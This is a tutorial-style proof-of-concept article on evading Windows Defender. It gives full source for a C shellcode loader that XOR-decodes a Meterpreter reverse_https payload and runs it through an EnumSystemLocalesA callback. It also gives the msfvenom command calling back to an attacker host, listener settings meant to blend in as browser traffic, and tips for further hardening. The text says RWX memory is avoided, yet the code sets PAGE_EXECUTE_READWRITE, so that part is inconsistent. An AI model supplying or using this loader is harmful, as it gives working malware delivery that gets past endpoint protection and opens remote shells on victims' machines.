Understanding Evasion: Custom C Loader and Callback Execution PoC

In the landscape of modern endpoint protection, signature-based detection remains a fundamental barrier for offensive security practitioners. This article presents a structured Proof of Concept (PoC) demonstrating how a simple C-based loader, combined with XOR encoding and indirect callback execution, can successfully bypass Windows Defender’s real-time protection. We dissect the technical implementation — from shellcode generation with msfvenom to dynamic API resolution and memory execution—while providing an academic-level analysis of the evasion techniques employed. This research is intended solely for educational purposes and to equip Blue Teams with insights into offensive tradecraft.

1. Introduction & Lab Setup

Before delving into the technical implementation, it is imperative to establish the network configuration and target environment. The attacker machine, running Kali Linux, must be able to communicate with the Windows 10/11 target. I executed the ifconfig command to verify the active network interface, which returned the local IP address 192.168.x.x. This address functions as the callback endpoint (LHOST) for the Meterpreter payload. Ensuring proper network address resolution (NAT or bridged) is critical, as subsequent shellcode generation and listener configuration depend entirely on accurate Layer 3 connectivity.

2. Generating the Raw Shellcode Payload

The initial step involves constructing a malicious payload using the Metasploit Framework’s msfvenom utility. For this experiment, I selected the windows/x64/meterpreter/reverse_https payload. The choice of HTTPS over HTTP is deliberate; encapsulating the C2 communication within SSL/TLS provides a veneer of legitimacy and obfuscates the traffic patterns from network-level monitoring. The command used is as follows:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.x.x LPORT=443 -f c

The -f c flag formats the output as a C-compatible byte array, allowing seamless integration into the subsequent encoder application. At this juncture, the raw shellcode is vulnerable to signature matching, necessitating an encoding phase.

3. Implementing a Custom XOR Encoder

To circumvent static signature detection, the raw shellcode must undergo a transformation. I implemented a simplistic yet effective encoder utilizing a single-byte XOR cipher with a fixed key (0xCD). The encoder application, written in C, performs the following operations:

1. Iterates through each byte of the raw shellcode.
2. Applies the bitwise XOR operation between the current byte and the static key.
3. Outputs the result in a hexadecimal format suitable for inclusion in a C source file.
4. The logic is encapsulated within the XorByOneKey function, which modifies the array in place. Below is the core implementation:

VOID XorByOneKey(IN PBYTE shellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++) {
        shellcode[i] ^= bKey;
    }
}

Upon compiling and executing this encoder, the standard output provides a transformed byte array that no longer matches known malware signatures.

4. Compiling and Executing the Encoder

With the encoder source code compiled (using a standard C compiler such as MinGW or GCC for cross-compilation), I executed the binary. The terminal output yielded a contiguous sequence of escaped hexadecimal characters (e.g., \x8f\x2a...). This encoded buffer was then copied to the clipboard, ready for placement into the main loader's source code. The use of a static key (0xCD) simplifies the process but introduces a cryptographic weakness; however, for the scope of this PoC, it sufficiently obfuscates the shellcode against Defender's static analysis engine.

5. Building the Main Loader and Analyzing the Code Architecture

This phase constitutes the core of our evasion technique. The loader is responsible for decrypting the shellcode in memory, allocating executable regions, and transferring execution flow. Below, I provide the complete loader code, followed by an extensive analysis of its structure and the rationale behind its implementation.

5.1 The Loader Source Code

#include <windows.h>
#include <stdio.h>

#define XOR_KEY 0xCD

unsigned char buf[] = "<encoder result>";

void xor_decode(unsigned char* data, SIZE_T size, BYTE key) {
    for (SIZE_T i = 0; i < size; ++i) {
        data[i] ^= key;
    }
}

int main() {
    printf("[*] Woke up, executing payload...\n");

    // 1. Dynamic API Resolution
    HMODULE hKernel = GetModuleHandleA("kernel32.dll");
    if (!hKernel) {
        printf("[-] Failed to get handle to kernel32.dll. Error: %lu\n", GetLastError());
        return -1;
    }

    LPVOID(WINAPI * pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD) =
        (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(hKernel, "VirtualAlloc");

    BOOL(WINAPI * pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD) =
        (BOOL(WINAPI*)(LPVOID, SIZE_T, DWORD, PDWORD))GetProcAddress(hKernel, "VirtualProtect");

    if (!pVirtualAlloc || !pVirtualProtect) {
        printf("[-] Failed to resolve required functions.\n");
        return -1;
    }

    // 2. Memory Allocation (RW)
    LPVOID execMem = pVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!execMem) {
        printf("[-] VirtualAlloc failed.\n");
        return -1;
    }

    // 3. Decryption and Copying
    xor_decode(buf, sizeof(buf), XOR_KEY);
    memcpy(execMem, buf, sizeof(buf));
    ZeroMemory(buf, sizeof(buf));

    // 4. Changing Memory Protection to RX
    DWORD oldProtect;
    if (!pVirtualProtect(execMem, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("[-] VirtualProtect failed.\n");
        return -1;
    }

    // 5. Execution via Callback Gadget
    EnumSystemLocalesA((LOCALE_ENUMPROCA)execMem, LCID_INSTALLED);

    return 0;
}

5.2 In-Depth Code Flow and Architectural Rationale

To fully appreciate this loader’s evasion capabilities, it is necessary to dissect its execution flow into five distinct stages and analyze the security implications of each.

Stage 1: Dynamic API Resolution (Obfuscating the Import Table)

The most critical evasion mechanism lies in the resolution of Windows APIs. In a conventional C application, functions like VirtualAlloc and VirtualProtect are linked statically and appear in the PE file's Import Address Table (IAT). Antivirus engines and EDR products frequently scan the IAT for suspicious imports; the presence of VirtualAlloc (for allocating memory) and VirtualProtect (for changing page protections) is a strong indicator of a potential injection routine.

How the Code Addresses This: The loader uses GetModuleHandleA("kernel32.dll") to retrieve the base address of the already-loaded kernel32.dll library. It then calls GetProcAddress to retrieve the memory addresses of the required functions at runtime.

Analyzing the Pointer Declaration Syntax: The line LPVOID(WINAPI * pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD) = ... is a classic C declaration for a function pointer. Let us break it down:

• LPVOID : The return type of the function (pointer to void).
• WINAPI : The calling convention (__stdcall), ensuring the stack is cleaned up correctly.
• * pVirtualAlloc : Declares pVirtualAlloc as a pointer to a function.
• (LPVOID, SIZE_T, DWORD, DWORD) : The parameter list matching the original VirtualAlloc signature.
• (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(...) This is an explicit type cast. GetProcAddress returns a generic FARPROC (a raw function pointer). Without this cast to the exact function signature, the compiler would throw a type mismatch error. This cast tells the compiler exactly how to call the function at that memory address.

Why this Structure Matters for Security: By utilizing this pattern, the binary’s static IAT remains clean, containing only GetModuleHandleA and GetProcAddress (and perhaps printf). This significantly reduces the static detection score, as the loader does not explicitly "ask" for memory allocation permissions until runtime.

Stage 2: Memory Allocation with PAGE_READWRITE

The loader invokes pVirtualAlloc with MEM_COMMIT | MEM_RESERVE to allocate a region of memory with PAGE_READWRITE permissions. It is crucial to note that the memory is not initially executable. Allocating RWX memory directly (PAGE_EXECUTE_READWRITE) is a well-known red flag and is almost always flagged by heuristic analysis. By using RW first, we adhere to the principle of least privilege until the shellcode is fully decrypted and copied.

Stage 3: XOR Decryption and Buffer Copying

The xor_decode function is invoked, reversing the transformation applied in Step 3. The decrypted shellcode now resides in the global buf array. Subsequently, memcpy transfers this decrypted shellcode to the newly allocated heap memory (execMem). Following the copy, ZeroMemory securely clears the original buffer to prevent residual shellcode from remaining in the process memory, reducing forensic artifacts.

Stage 4: Changing Protection to PAGE_EXECUTE_READWRITE

Before execution, the memory region must be made executable. The loader calls pVirtualProtect to change the permissions of execMem to PAGE_EXECUTE_READWRITE. This delay in setting executable permissions is a common anti-emulation technique; if a sandbox or AV hooks VirtualAlloc and scans the buffer immediately upon allocation, it will only see the XOR-encrypted data (which is benign). The decryption occurs after allocation, and the permission change occurs after the shellcode is laid out, often bypassing memory scanning hooks that occur during allocation.

Stage 5: Indirect Execution via EnumSystemLocalesA (Callback Gadget)

Rather than invoking CreateThread or a simple function pointer call—which are heavily monitored by user-mode hooks—the loader leverages a legitimate Windows API, EnumSystemLocalesA. This function enumerates system locale identifiers and accepts a callback function pointer (LOCALE_ENUMPROCA) as its first argument. By casting the execMem address to (LOCALE_ENUMPROCA), we trick the system into treating the shellcode as a valid callback. When EnumSystemLocalesA executes, it jumps to the address of our shellcode, effectively executing it. This technique is known as Callback Obfuscation and is highly effective because legitimate applications frequently call these enumeration functions, making it difficult for behavioral detections to distinguish malicious execution from normal activity.

6. Configuring the Metasploit Listener

With the loader compiled, the next step is to prepare the listener to accept the incoming HTTPS connection. I launched msfconsole and configured the multi/handler module with the following options to ensure stealth and compatibility:

• Payload: windows/x64/meterpreter/reverse_https
• lhost: 192.168.x.x
• lport: 443
• StagerVerifySSLCert: true
• HttpUserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/115.0.0.0
• EnableStageEncoding: true (Adds another layer of XOR obfuscation to the second stage).
• SessionCommunicationTimeout: 150

This configuration ensures that the traffic mimics standard Chrome browsing behavior, further reducing the likelihood of network-level detection.

7. Executing the Loader and Results

Finally, I transferred the compiled loader executable to the Windows 11 target system via a standard file share. Upon execution, the binary performed the memory allocation, decoded the shellcode, and invoked the EnumSystemLocalesA gadget. Almost instantaneously, a Meterpreter session was established in the Kali terminal.

Defender Bypass Confirmation: During the entire execution lifecycle — from process startup to shellcode injection and callback — Windows Defender remained completely silent. No pop-up notifications were generated, nor were any alerts logged in the Windows Security Center. This validates that the combination of dynamic API resolution, delayed permission granting, and callback-based execution successfully bypassed the endpoint’s static and heuristic defenses at the time of testing.

8. Conclusion and Academic Reflection

This PoC demonstrates a fundamental truth in offensive security: even simple transformations, if applied strategically, can defeat baseline protection mechanisms. The loader’s architecture leverages three core principles to achieve evasion:

1. Import Table Obfuscation: Resolving VirtualAlloc and VirtualProtect at runtime removes high-suspicion indicators from the PE header.
2. Delayed Execution: Decrypting shellcode in PAGE_READWRITE memory and changing permissions only afterward evades hooks that scan memory during allocation.
3. Callback Gadgets: Exploiting legitimate API callbacks sidesteps user-mode API hooks designed to monitor thread creation.

However, from a defensive perspective, this technique is not infallible. Advanced EDR solutions employing Kernel-mode callbacks, AMSI (Anti-Malware Scan Interface), or modern AI-based behavioral analysis would likely detect the anomalous memory protection changes. The static XOR key (0xCD) is also a cryptographic weakness; deriving the key via brute-force analysis of the binary is trivial for reverse engineers.

For further hardening of this loader, one might consider implementing a multi-byte XOR or AES decryption, generating dynamic keys based on system metrics, and transitioning to direct syscalls (syscall instruction) to bypass user-mode API hooks entirely. This research underscores the continuous arms race between offensive engineering and defensive countermeasures, highlighting the necessity for multi-layered security strategies in enterprise environments.